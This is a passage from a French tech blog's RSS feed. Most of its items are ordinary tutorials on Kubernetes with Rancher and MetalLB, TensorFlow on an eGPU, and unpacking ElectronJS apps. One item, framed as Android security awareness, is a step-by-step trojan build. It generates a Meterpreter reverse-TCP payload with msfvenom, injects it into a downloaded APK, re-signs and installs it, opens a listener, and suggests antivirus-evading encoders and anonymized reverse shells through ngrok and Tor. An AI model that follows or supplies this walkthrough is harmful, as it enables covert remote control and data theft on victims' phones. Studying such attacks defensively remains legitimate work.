&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo docker run -d --privileged --restart=unless-stopped -p 8443:443 rancher/rancher
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;provisionner-un-cluster-k8s&#34;&gt;Provisionner un cluster k8s&lt;/h2&gt;
&lt;p&gt;Une fois le serveur Rancher démarré, connectez-vous en créant un compte admin puis créez un cluster Kubernetes. Pour faire simple dans cet article, cochez les cases &lt;code&gt;etcd&lt;/code&gt;, &lt;code&gt;controle-plane&lt;/code&gt;, &lt;code&gt;worker&lt;/code&gt;. Cela va générer une commande Docker qu&amp;rsquo;il suffira d&amp;rsquo;exécuter sur le noeud que vous avez à disposition pour installer votre cluster.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans cet article, nous allons voir comment installer un cluster Kubernetes sur un ou plusieurs noeuds &ldquo;physiques&rdquo;. On est sur de l&rsquo;auto-hébergement. MetalLB sera utilisé pour remplacer les load balancers des &ldquo;clouders&rdquo;. MetalLB est une implémentation de Load Balancer pour les clusters Kubernetes Bare Metal, utilisant des protocoles de routage standard.
Rancher 2 sera également utilisé. On aurait pu utiliser kubeadm mais cette solution nous simplifie clairement la vie.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>Docker</li>
</ul>
<br/>
<h2 id="lancer-rancher-2-via-docker">Lancer Rancher 2 via Docker</h2>
<pre tabindex="0"><code>sudo docker run -d --privileged --restart=unless-stopped -p 8443:443 rancher/rancher
</code></pre><br/>
<h2 id="provisionner-un-cluster-k8s">Provisionner un cluster k8s</h2>
<p>Une fois le serveur Rancher démarré, connectez-vous en créant un compte admin puis créez un cluster Kubernetes. Pour faire simple dans cet article, cochez les cases <code>etcd</code>, <code>controle-plane</code>, <code>worker</code>. Cela va générer une commande Docker qu&rsquo;il suffira d&rsquo;exécuter sur le noeud que vous avez à disposition pour installer votre cluster.</p>
<br/>
<p>La commande va ressembler à ceci:</p>
<pre tabindex="0"><code>export IP_LOCAL=
export TOKEN=6r5q7w5wnzk95g84bv2zclc4qn5k5dwvc8m9vxgdqjgcvf2vgxbcm8
export CA_CHECKSUM=e768299cdfb443db9b772a23519030f49ad93deaeaedb8064d9aaf2e9b260f77
sudo docker run -d --privileged --restart=unless-stopped --net=host -v /etc/kubernetes:/etc/kubernetes -v /var/run:/var/run rancher/rancher-agent:v2.5.2 --server https://$IP_LOCAL:8443 --token $TOKEN --ca-checksum $CA_CHECKSUM --etcd --controlplane --worker
</code></pre><br/>
<h2 id="installer-helm-3">Installer helm 3+</h2>
<p>Télécharger le package helm 3.4.1 depuis <a href="https://github.com/helm/helm/releases">l&rsquo;adresse suivante</a> puis exécutez les commandes suivantes:</p>
<pre tabindex="0"><code>tar -zxvf helm-v3.4.1-linux-amd64.tar.gz
sudo chmod +x linux-amd64/helm
mv linux-amd64/helm /usr/local/bin/helm
</code></pre><br/>
<h2 id="installer-kubectl">Installer kubectl</h2>
<pre tabindex="0"><code>curl -LO &#34;https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl&#34;
chmod +x ./kubectl
sudo mv ./kubectl /usr/local/bin/kubectl
kubectl version --client
</code></pre><br/>
<p>Depuis l&rsquo;interface admin de Rancher, récupérez le <code>kubectl</code> config. Collez le dans le fichier <code>~/.kube/config</code> de votre poste local pour que kubectl puisse communiquer avec votre cluster. Cela vous permettra d&rsquo;exécuter des commandes kubernetes et installer metalLB depuis votre poste local.</p>
<br/>
<h2 id="installer-et-configurer-metallb">Installer et configurer metalLB</h2>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.9.3/manifests/namespace.yaml

kubectl apply -f https://raw.githubusercontent.com/metallb/metallb/v0.9.3/manifests/metallb.yaml

# On first install only
kubectl create secret generic -n metallb-system memberlist --from-literal=secretkey=&#34;$(openssl rand -base64 128)&#34;
</code></pre><br/>
<p>Vérifier que metalLB tourne bien:</p>
<pre tabindex="0"><code>kubectl get pods -n metallb-system
</code></pre><br/>
<p>Créer un confimap <code>config.yaml</code> permettant de configurer metalLB en mode Layer 2. Ce mode est le plus simple à configurer. Il suffit de configurer uniquement les adresses IP.
Le mode Layer 2 ne requiert pas d&rsquo;avoir les adresses IP attachées à l&rsquo;interface réseau du noeud worker.</p>
<br/>
<p>Remplacer <em><code>- 192.168.15.120-192.168.15.250</code></em> du configmap ci-dessous par le range d&rsquo;IP de votre réseau.</p>
<pre tabindex="0"><code>apiVersion: v1
kind: ConfigMap
metadata:
  namespace: metallb-system
  name: config
data:
  config: |
    address-pools:
    - name: default
      protocol: layer2
      addresses:
      - 192.168.15.120-192.168.15.250
</code></pre><br/>
<p>Appliquer le configmap</p>
<pre tabindex="0"><code>kubectl apply -f config.yaml
</code></pre><br/>
<p>Maintenant, retourner dans l&rsquo;interface Rancher, Cluster, Namespaces et déplacer metallb-system dnas le project &ldquo;System&rdquo;.</p>
<p><img src="/images/rancher1.png" alt="image"></p>
<p><img src="/images/rancher2.png" alt="image"></p>
<p><img src="/images/rancher3.png" alt="image"></p>
<br/>
<h2 id="test-demo-app">Test demo app</h2>
<pre tabindex="0"><code>git clone https://github.com/jodykpw/metallb-nginx-demo.git
cd metallb-nginx-demo
helm install --name nginx-demo ./
</code></pre><blockquote>
<p>Facultatif: éditer <code>values.yaml</code>, changer le type de service à <code>LoadBalancer</code>. Je n&rsquo;ai pas eu besoin de faire cela mais c&rsquo;est recommandé. J&rsquo;ai suivi la procédure qui suit.</p></blockquote>
<br/>
<p><strong>Deployer Nginx comme Ingress Controller</strong></p>
<pre tabindex="0"><code>kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v0.34.1/deploy/static/provider/baremetal/deploy.yaml
</code></pre><br/>
<p>Editer l&rsquo;ingress-controller et changer <code>spec.type</code> de <strong>NodePort à LoadBalancer</strong>.</p>
<pre tabindex="0"><code>kubectl edit svc ingress-nginx-controller -n ingress-nginx
</code></pre><br/>
<p>Créer un ingress via l&rsquo;interface Rancher. J&rsquo;ai associé un hostname dans l&rsquo;ingress. Créer soit une entrée dans votre <code>/etc/hosts</code> ou un CNAME sur votre DNS.</p>
<p><img src="/images/ingress1.png" alt="image"></p>
<p><img src="/images/ingress2.png" alt="image"></p>
<br/>
<p>Vérifier que le pod est bien &ldquo;running&rdquo;:</p>
<pre tabindex="0"><code>kubectl get svc --all-namespaces
</code></pre><br/>
<p>Depuis votre navigateur, rendez-vous sur <code>nuc.com</code> pour voir le résultat suivant:</p>
<p><img src="/images/demo.png" alt="image"></p>
<br/>
<h2 id="test-grafana-app">Test grafana app</h2>
<p>Il vous est possible de provisionner un grafana directement depuis le catalogue Rancher. Instanciez en un puis créez un ingress avec un hostname comme par example <code>grafana.leandeep.com</code> et ajoutez l&rsquo;entrée dans votre <code>/etc/hosts</code></p>
<p><img src="/images/ingress3.png" alt="image"></p>
<p><img src="/images/grafana.png" alt="image"></p>
<br/>
<h2 id="facultatif-lets-encrypt">Facultatif: Let&rsquo;s encrypt</h2>
<p>Installer le cert-manager</p>
<pre tabindex="0"><code>kubectl apply -f https://github.com/jetstack/cert-manager/releases/download/v1.0.3/cert-manager.yaml
</code></pre><br/>
<p>Vérifier que les pods sont running:</p>
<pre tabindex="0"><code>kubectl get pods --namespace cert-manager
</code></pre><br/>
<p><strong>Configurer l&rsquo;env staging</strong>. Créer un fichier <code>staging_issuer.yaml</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>apiVersion: cert-manager.io/v1
kind: Issuer
metadata:
 name: letsencrypt-staging
spec:
 acme:
   # The ACME server URL
   server: https://acme-staging-v02.api.letsencrypt.org/directory
   # Email address used for ACME registration
   email: john@example.com
   # Name of a secret used to store the ACME account private key
   privateKeySecretRef:
     name: letsencrypt-staging
   # Enable the HTTP-01 challenge provider
   solvers:
   - http01:
       ingress:
         class:  nginx
</code></pre><br/>
<p>Appliquer la ressource:</p>
<pre tabindex="0"><code>kubectl apply -f staging_issuer.yaml
</code></pre><br/>
<p>Mettez à jour l&rsquo;ingress. Voici un example:</p>
<pre tabindex="0"><code>apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
    cert-manager.io/issuer: letsencrypt-staging
  name: home-ingress
  namespace: default
spec:
  tls:
  - hosts:
    - example.io
    secretName: home-example-io-tls
  rules:
  - host: example.io
    http:
      paths:
      - backend:
          serviceName: nginx
          servicePort: 80
        path: /
</code></pre><br/>
<p>Vérifier le bon fonctionnement:</p>
<pre tabindex="0"><code>kubectl describe certificate
</code></pre><br/>
<p><strong>Configurer le certif de prod.</strong></p>
<p>Créer le fichier <code>production-issuer.yaml</code> et ajouter le contenu suivant:</p>
<pre tabindex="0"><code>apiVersion: cert-manager.io/v1
kind: Issuer
metadata:
 name: letsencrypt-prod
spec:
 acme:
   # The ACME server URL
   server: https://acme-v02.api.letsencrypt.org/directory
   # Email address used for ACME registration
   email: user@example.com
   # Name of a secret used to store the ACME account private key
   privateKeySecretRef:
     name: letsencrypt-prod
   # Enable the HTTP-01 challenge provider
   solvers:
   - http01:
       ingress:
         class:  nginx
</code></pre><br/>
<p>Appliquer le issuer:</p>
<pre tabindex="0"><code>kubectl apply -f production-issuer.yaml
</code></pre><br/>
<p>Editer votre ingress. Voici un example:</p>
<pre tabindex="0"><code>apiVersion: networking.k8s.io/v1beta1
kind: Ingress
metadata:
  annotations:
    kubernetes.io/ingress.class: nginx
    cert-manager.io/issuer: letsencrypt-prod
  name: home-ingress
  namespace: default
spec:
  tls:
  - hosts:
    - example.io
    secretName: home-example-io-tls
  rules:
  - host: example.io
    http:
      paths:
      - backend:
          serviceName: nginx
          servicePort: 80
        path: /
</code></pre><br/>
<blockquote>
<p>Attention, l&rsquo;obtention du certificat peut prendre entre 2 et 5 minutes.</p></blockquote>
<br/>
<p>Checker le certificat:</p>
<pre tabindex="0"><code>kubectl describe certificate
</code></pre><br/>
<h2 id="alternative">Alternative:</h2>
<p><strong>pfSense + Let’s Encrypt Wildcard + HA Proxy comme Reverse Proxy:</strong> solution prometteuse à tester</p>
]]></content>
        </item>
        
        <item>
            <title>Installer Tensorflow 2 avec GPU backend avec un eGPU, Kubuntu 20.04 et Docker</title>
            <link>https://leandeep.com/installer-tensorflow-2-avec-gpu-backend-avec-un-egpu-kubuntu-20.04-et-docker/</link>
            <pubDate>Sun, 15 Nov 2020 12:19:00 +0000</pubDate>
            
            <guid>https://leandeep.com/installer-tensorflow-2-avec-gpu-backend-avec-un-egpu-kubuntu-20.04-et-docker/</guid>
            <description>&lt;p&gt;Dans deux articles précédents, nous avions vu comment installer Tensorflow 1 et 2 avec GPU support sur Ubuntu 18.04 avec une carte graphique Gefore GTX 1080 ou une plus ancienne carte plus supportée, la Geforce GTX 660 Ti.&lt;/p&gt;
&lt;br/&gt;
&lt;p&gt;J&amp;rsquo;ai récemment fait un système upgrade et suis passé sur Kubuntu 20.04. Il est excellant et très stable, je le recommande grandement. Je suis toujours partisan des stations de Deep Learning personnelles (non dans le Cloud). D&amp;rsquo;un point de vue économique, c&amp;rsquo;est beaucoup plus rentable d&amp;rsquo;avoir sa propre station. Il vous faut juste un boitier EGPU 300€ (pour un haut de gamme type Razer), un PC (gratuit, quel dev ou data engineer n&amp;rsquo;en a pas? Idéalement il vous faudrait un PC secondaire) et un GPU (entre 150€ et 700€ pour une bête voire 1500€ pour un monstre).
La location d&amp;rsquo;une machine avec GPU sur AWS vous revient à minimum $300 par mois (min $0.5/heure * 24h * 7 jours * 4 semaines). Il n&amp;rsquo;y a pas photo&amp;hellip;
Après AWS vous permet d&amp;rsquo;avoir des instances avec plusieurs GPUs, cela peut être utile dans certains cas. Peut-être qu&amp;rsquo;un build avec plusieurs eGPU pourrait faire l&amp;rsquo;affaire pour ce use case&amp;hellip; Je ne ferai pas l&amp;rsquo;essai, je n&amp;rsquo;ai pas ce besoin&amp;hellip;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Dans deux articles précédents, nous avions vu comment installer Tensorflow 1 et 2 avec GPU support sur Ubuntu 18.04 avec une carte graphique Gefore GTX 1080 ou une plus ancienne carte plus supportée, la Geforce GTX 660 Ti.</p>
<br/>
<p>J&rsquo;ai récemment fait un système upgrade et suis passé sur Kubuntu 20.04. Il est excellant et très stable, je le recommande grandement. Je suis toujours partisan des stations de Deep Learning personnelles (non dans le Cloud). D&rsquo;un point de vue économique, c&rsquo;est beaucoup plus rentable d&rsquo;avoir sa propre station. Il vous faut juste un boitier EGPU 300€ (pour un haut de gamme type Razer), un PC (gratuit, quel dev ou data engineer n&rsquo;en a pas? Idéalement il vous faudrait un PC secondaire) et un GPU (entre 150€ et 700€ pour une bête voire 1500€ pour un monstre).
La location d&rsquo;une machine avec GPU sur AWS vous revient à minimum $300 par mois (min $0.5/heure * 24h * 7 jours * 4 semaines). Il n&rsquo;y a pas photo&hellip;
Après AWS vous permet d&rsquo;avoir des instances avec plusieurs GPUs, cela peut être utile dans certains cas. Peut-être qu&rsquo;un build avec plusieurs eGPU pourrait faire l&rsquo;affaire pour ce use case&hellip; Je ne ferai pas l&rsquo;essai, je n&rsquo;ai pas ce besoin&hellip;</p>
<br/>
<p><strong>Dans cet article nous allons voir comment installer Tensorflow 2 sur sa propre machine reliée a un EGPU Nvidia Geforce GTX 1080, Kubuntu 20.04 et Docker. Il n&rsquo;y a plus l&rsquo;installation complexe de Cuda à gérer :) .</strong></p>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get dist-upgrade
</code></pre><br/>
<p><strong>Autoriser la communication via Thunderbolt, et donc le EGPU</strong></p>
<pre tabindex="0"><code>sudo sh -c &#39;echo 1 &gt; /sys/bus/thunderbolt/devices/0-0/authorized&#39;
sudo sh -c &#39;echo 1 &gt; /sys/bus/thunderbolt/devices/0-1/authorized&#39;
</code></pre><br/>
<p>Vérifier que le EGPU est détecté:</p>
<pre tabindex="0"><code>lspci | grep -i nvidia
</code></pre><br/>
<p><strong>Installation de Cuda toolkit (ce n&rsquo;est pas Cuda)</strong></p>
<pre tabindex="0"><code>sudo apt-get install nvidia-cuda-toolkit
</code></pre><blockquote>
<p>Si vous utilisez Ubuntu 20.04 et pas Kubuntu 20.04 vous devrez désactiver l&rsquo;utilisation de Wayland en commmentant la ligne suivante <code>#WaylandEnable=false</code> dans le fichier <code>/etc/gdm3/custom.conf</code>.</p></blockquote>
<br/>
<p><strong>Installation le driver Nvidia</strong></p>
<pre tabindex="0"><code># Désinstaller les drivers déjà installés
sudo dpkg -P $(dpkg -l | grep nvidia-driver | awk &#39;{print $2}&#39;)
sudo apt autoremove
# Installer les nouveaux drivers Nvidia propriétaire (pas les &#34;nouveau&#34; opensource)
sudo apt-get install --no-install-recommends nvidia-driver-418
</code></pre><br/>
<p><strong>Configurer Grub pour booter en mode runlevel 3</strong></p>
<p>Le fichier grub original <code>/etc/default/grub</code> ressemble à ceci:</p>
<pre tabindex="0"><code>#If you change this file, run &#39;update-grub&#39; afterwards to update
# /boot/grub/grub.cfg.
# For full documentation of the options in this file, see:
#   info -f grub -n &#39;Simple configuration&#39;
 
GRUB_DEFAULT=0
GRUB_TIMEOUT_STYLE=hidden
GRUB_TIMEOUT=0
GRUB_DISTRIBUTOR=`lsb_release -i -s 2&gt; /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT=&#34;quiet splash&#34;
GRUB_CMDLINE_LINUX=&#34;&#34;
</code></pre><p>Remplacer la variable <code>GRUB_CMDLINE_LINUX_DEFAULT=&quot;quiet splash&quot;</code> par <code>GRUB_CMDLINE_LINUX_DEFAULT=&quot;3&quot;</code>.</p>
<br/>
<p>Mettre à jour Grub et redémarrer</p>
<pre tabindex="0"><code>sudo update-grub
sudo reboot
</code></pre><br/>
<h2 id="autoriser-le-driver-nvidia-a-accélérer-le-server-x">Autoriser le Driver Nvidia a accélérer le server X.</h2>
<p>Pour ce faire, éditer le fichier <code>/usr/share/X11/xorg.conf.d/10-nvidia.conf</code> et ajouter les lignes suivantes:</p>
<pre tabindex="0"><code>Section &#34;OutputClass&#34;
   Identifier &#34;nvidia&#34;
   MatchDriver &#34;nvidia-drm&#34;
   Driver &#34;nvidia&#34;
   Option &#34;AllowExternalGpus&#34; &#34;True&#34;
   Option &#34;AllowEmptyInitialConfiguration&#34;
   ModulePath &#34;/usr/lib/x86_64-linux-gnu/nvidia/xorg&#34;
EndSection
</code></pre><br/>
<p>Redémarrer votre machine pour vérifier que tout est bon. Après identification et exécution de la commande <code>startx</code>, le X server doit démarrer et vous devriez voir le desktop KDE.</p>
<br/>
<h2 id="optionel-reconfigurer-grub">(Optionel) Reconfigurer GRUB</h2>
<p>Vous pouvez éventuellement reconfigurer GRUB et &ldquo;setter&rdquo; la variable <code>GRUB_CMDLINE_LINUX_DEFAULT</code> à <code>&quot;quiet splash&quot;</code>.</p>
<br/>
<h2 id="vérifier-le-bon-fonctionnement-des-drivers-nvidia">Vérifier le bon fonctionnement des Drivers Nvidia</h2>
<p>Après le redémarrage du PC, le X server ne va plus démarrer, c&rsquo;est normal. Identifiez-vous puis vérifier que les drivers Nvidia fonctionnent.</p>
<pre tabindex="0"><code>nvidia-smi
</code></pre><br/>
<p>Si vous avez un output qui ressemble à ceci, vous êtes bon:</p>
<pre tabindex="0"><code>+-----------------------------------------------------------------------------+
| NVIDIA-SMI 455.38       Driver Version: 455.38       CUDA Version: 11.1     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  GeForce GTX 1080    Off  | 00000000:06:00.0 Off |                  N/A |
| 27%   27C    P8     5W / 180W |    441MiB /  8119MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|    0   N/A  N/A      1487      G   /usr/lib/xorg/Xorg                215MiB |
+-----------------------------------------------------------------------------+
</code></pre><br/>
<h2 id="installer-docker">Installer Docker</h2>
<p>Si ce n&rsquo;est pas déjà fait, installer Docker:</p>
<pre tabindex="0"><code>curl https://get.docker.com | sh \
  &amp;&amp; sudo systemctl start docker \
  &amp;&amp; sudo systemctl enable docker
</code></pre><br/>
<h2 id="installer-nvidia-docker">Installer Nvidia-docker</h2>
<pre tabindex="0"><code>sudo apt-get install -y nvidia-docker2
sudo systemctl restart docker
</code></pre><br/>
<h2 id="démarrer-un-base-container-cuda-et-vérifier-que-tout-est-ok">Démarrer un base container CUDA et vérifier que tout est ok</h2>
<pre tabindex="0"><code>sudo docker run --rm --gpus all nvidia/cuda:11.0-base nvidia-smi
</code></pre><br/>
<p>Si vous avez le même output que moi, c&rsquo;est que tout est bon</p>
<pre tabindex="0"><code>+-----------------------------------------------------------------------------+
| NVIDIA-SMI 455.38       Driver Version: 455.38       CUDA Version: 11.1     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  GeForce GTX 1080    Off  | 00000000:06:00.0 Off |                  N/A |
| 27%   27C    P8     6W / 180W |    443MiB /  8119MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+

+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
+-----------------------------------------------------------------------------+
</code></pre><br/>
<h2 id="installer-tensorflow-2">Installer Tensorflow 2</h2>
<pre tabindex="0"><code>sudo docker run --rm -it --gpus all nvidia/cuda:11.0-base /bin/bash
apt-get update
apt-get install python3-dev python3-pip
pip3 install tensorflow-gpu
python3 
&gt;&gt;&gt; import tensorflow
&gt;&gt;&gt; from tensorflow.python.client import device_lib
&gt;&gt;&gt; print(device_lib.list_local_devices())
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Comprendre les failles de certains APKs Android (Payload injection avec Metasploit)</title>
            <link>https://leandeep.com/comprendre-les-failles-de-certains-apks-android-payload-injection-avec-metasploit/</link>
            <pubDate>Fri, 13 Nov 2020 16:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/comprendre-les-failles-de-certains-apks-android-payload-injection-avec-metasploit/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;L&amp;rsquo;objectif de cet article est de sensibiliser à la sécurité sur Android. Ce n&amp;rsquo;est pas très compliqué d&amp;rsquo;injecter des virus (très) néfastes dans des APKs disponibles sur internet. Surtout n&amp;rsquo;installez pas des APKs qui ne proviennent pas des Stores Officiels d&amp;rsquo;Apple ou Google sans savoir ce que vous faites.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;installation-sur-kali&#34;&gt;Installation sur Kali&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;apktool&lt;/strong&gt;&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;mkdir ~/Dev/Android
cd $_
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.1.jar
mv apktool_*.jar apktool.jar
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
mv * /usr/local/bin
chmod +x /usr/local/bin/apktool.jar
chmod +x /usr/local/bin/apktool
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;&lt;strong&gt;zipalign&lt;/strong&gt;&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>L&rsquo;objectif de cet article est de sensibiliser à la sécurité sur Android. Ce n&rsquo;est pas très compliqué d&rsquo;injecter des virus (très) néfastes dans des APKs disponibles sur internet. Surtout n&rsquo;installez pas des APKs qui ne proviennent pas des Stores Officiels d&rsquo;Apple ou Google sans savoir ce que vous faites.</p>
<br/>
<h2 id="installation-sur-kali">Installation sur Kali</h2>
<p><strong>apktool</strong></p>
<pre tabindex="0"><code>mkdir ~/Dev/Android
cd $_
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.4.1.jar
mv apktool_*.jar apktool.jar
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
mv * /usr/local/bin
chmod +x /usr/local/bin/apktool.jar
chmod +x /usr/local/bin/apktool
</code></pre><br/>
<p><strong>zipalign</strong></p>
<pre tabindex="0"><code>apt install zipalign
</code></pre><br/>
<p><strong>jarsigner</strong></p>
<pre tabindex="0"><code>apt install openjdk-14-jdk-headless
</code></pre><br/>
<h2 id="génération-et-injection-du-payload-et-signature-de-lapk">Génération et injection du Payload et signature de l&rsquo;APK</h2>
<p><strong>Download apk de test</strong></p>
<p>Rendez-vous sur <a href="https://www.apkmirror.com/">https://www.apkmirror.com/</a> et télécharger un APK.</p>
<br/>
<p><strong>Création payload</strong></p>
<p>Récupérer l&rsquo;IP de la machine qui exploitera la vulnérabilité
ifconfig</p>
<p>Configurer et générer le payload qui sera injecté dans l&rsquo;APK</p>
<pre tabindex="0"><code>msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.17 LPORT=443 M&gt; ~/Dev/Android/payload.apk
</code></pre><blockquote>
<p>Vocabulaire Metasploit:</p>
<ul>
<li>LHOST: IP de l’attaquant</li>
<li>LPORT: Port utilisé</li>
<li>RHOST: IP de la victime</li>
<li>RPORT: Port de la victime</li>
</ul></blockquote>
<br/>
<p><strong>Desassembler les APKs</strong></p>
<pre tabindex="0"><code>apktool d payload.apk
apktool d mon_apk_avec_virus.apk
</code></pre><br/>
<p><strong>Ajouter le payload à l&rsquo;APK</strong></p>
<pre tabindex="0"><code>cp -R payload/smali/com/metasploit mon_apk_avec_virus/smali/com/
</code></pre><br/>
<p><strong>Ajouter la commande permettant de lancer le payload lors de l&rsquo;appel à la fonction <code>onCreate</code></strong></p>
<p>En d&rsquo;autres termes, injecter le main activity du payload dans l&rsquo;APK après l&rsquo;appel du onCreate.</p>
<p>Ligne suivante à ajouter dans le fichier <code>mon_apk_avec_virus/smali/com/company_name/mon_apk_avec_virus/SplashScreen.smali</code></p>
<pre tabindex="0"><code>invoke-static {p0}, Lcom/metasploit/stage/Payload;-&gt;start(Landroid/content/Context;)V
</code></pre><br/>
<p><strong>Ajouter les permissions à l&rsquo;APK virus</strong></p>
<p>Copier toutes les permissions identifiées par les lignes XML <code>&lt;uses-permission...</code> du fichier <code>payload/AndroidManifest.xml</code> dans <code>mon_apk_avec_virus/AndroidManifest.xml</code>.</p>
<br/>
<p><strong>Générer son propre certificat</strong></p>
<pre tabindex="0"><code>keytool -genkey -V -keystore /root/Dev/Android/key.keystore -alias education_purpose -keyalg RSA -keysize 2048 -validity 1000
</code></pre><br/>
<p><strong>Signer son nouveau APK</strong></p>
<pre tabindex="0"><code>jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/Dev/Android/key.keystore ./mon_apk_avec_virus_signed.apk education_purpose
</code></pre><br/>
<p><strong>Zipalign</strong></p>
<pre tabindex="0"><code>zipalign -v 4 ./mon_apk_avec_virus_signed.apk mon_apk_avec_virus.apk
</code></pre><br/>
<h2 id="installation-sur-device-cible">Installation sur device cible</h2>
<blockquote>
<p>Vérifier comment installer un apk sans qu&rsquo;Android soit en mode developer.</p></blockquote>
<pre tabindex="0"><code>adb devices
adb install -r mon_apk_avec_virus.apk
</code></pre><br/>
<h2 id="exploitation">Exploitation</h2>
<pre tabindex="0"><code>msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lport 443
set lhost 192.168.0.17
exploit
help
</code></pre><p>Testez par vous-même pour découvrir le fonctionnement de ces techniques et donc pour mieux vous protéger mais n&rsquo;utilisez pas cette technique pour pirater autrui.</p>
<br/>
<h2 id="aller-plus-loin">Aller plus loin</h2>
<ul>
<li>
<p>Utiliser un encoder afin que les antivirus ne détectent pas ces payloads</p>
</li>
<li>
<p>Utiliser un reverse shell anonyme avec Ngrok et connect-back.</p>
</li>
</ul>
<p>Utiliser par exemple les commandes suivantes:</p>
<p><code>./ngrok tcp 9999</code>.</p>
<p><em>Forwarding tcp://0.tcp.ngrok.io:11811 -&gt; localhost:9999</em></p>
<p>Puis <code>LHOST=0.tcp.ngrok.io</code> et <code>LPORT=11811</code> dans la commande <code>msfvenom</code> précédente.</p>
<p>Et enfin <code>set LHOST 0.0.0.0</code> et <code>set LPORT 9999</code> dans meterpreter listener.</p>
<ul>
<li>Utiliser un reverse shell anonyme avec Ngrok et connect-back avec Tor entre les deux (ie: <code>socks5_proxy: &quot;socks5://127.0.0.1:9050&quot;</code> dans <code>ngrok.yml</code>)</li>
</ul>
]]></content>
        </item>
        
        <item>
            <title>Analyser le code source d&#39;une app ElectronJS</title>
            <link>https://leandeep.com/analyser-le-code-source-dune-app-electronjs/</link>
            <pubDate>Thu, 12 Nov 2020 22:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/analyser-le-code-source-dune-app-electronjs/</guid>
            <description>&lt;h2 id=&#34;introduction&#34;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Parfois pour vérifier qu&amp;rsquo;une application dénichée sur internet (et pas sur les stores officiels Google ou Apple) ne comporte pas de virus, le plus simple est d&amp;rsquo;analyser son code source.
C&amp;rsquo;était mon cas pour une application utilisant le framework ElectronJS que je trouvais géniale. J&amp;rsquo;ai voulu vérifier qu&amp;rsquo;elle ne contenait pas de faille de sécurité avant de l&amp;rsquo;installer sur mon Mac.
Les applications ElectronJS sont &amp;ldquo;protégées&amp;rdquo; par une archive et le code est offusqué. Dans cet court article, nous allons voir comment décompresser ces App Electron et comment rendre le code plus lisible.
Cet article peut aussi intéresser tout développeur souhaitant comprendre comment est codée une application Electron.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>Parfois pour vérifier qu&rsquo;une application dénichée sur internet (et pas sur les stores officiels Google ou Apple) ne comporte pas de virus, le plus simple est d&rsquo;analyser son code source.
C&rsquo;était mon cas pour une application utilisant le framework ElectronJS que je trouvais géniale. J&rsquo;ai voulu vérifier qu&rsquo;elle ne contenait pas de faille de sécurité avant de l&rsquo;installer sur mon Mac.
Les applications ElectronJS sont &ldquo;protégées&rdquo; par une archive et le code est offusqué. Dans cet court article, nous allons voir comment décompresser ces App Electron et comment rendre le code plus lisible.
Cet article peut aussi intéresser tout développeur souhaitant comprendre comment est codée une application Electron.</p>
<br/>
<h2 id="pré-requis">Pré-requis</h2>
<ul>
<li>NodeJS v12+ installé</li>
</ul>
<br/>
<h2 id="installation">Installation</h2>
<pre tabindex="0"><code>npm install -g asar js-beautify
</code></pre><br/>
<h2 id="décompresser-larchive-asar">Décompresser l&rsquo;archive Asar</h2>
<pre tabindex="0"><code>cd /Applications/AppAAnalyser.app/Contents/Resources
asar extract app.asar app 
</code></pre><br/>
<h2 id="rendre-le-code-lisible">Rendre le code lisible</h2>
<pre tabindex="0"><code>mv app/js/app.js app/js/app.min.js
js-beautify app/js/app.min.js -o app/js/app.js
code .
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Installer les dernières distros Linux avec PXE</title>
            <link>https://leandeep.com/installer-les-derni%C3%A8res-distros-linux-avec-pxe/</link>
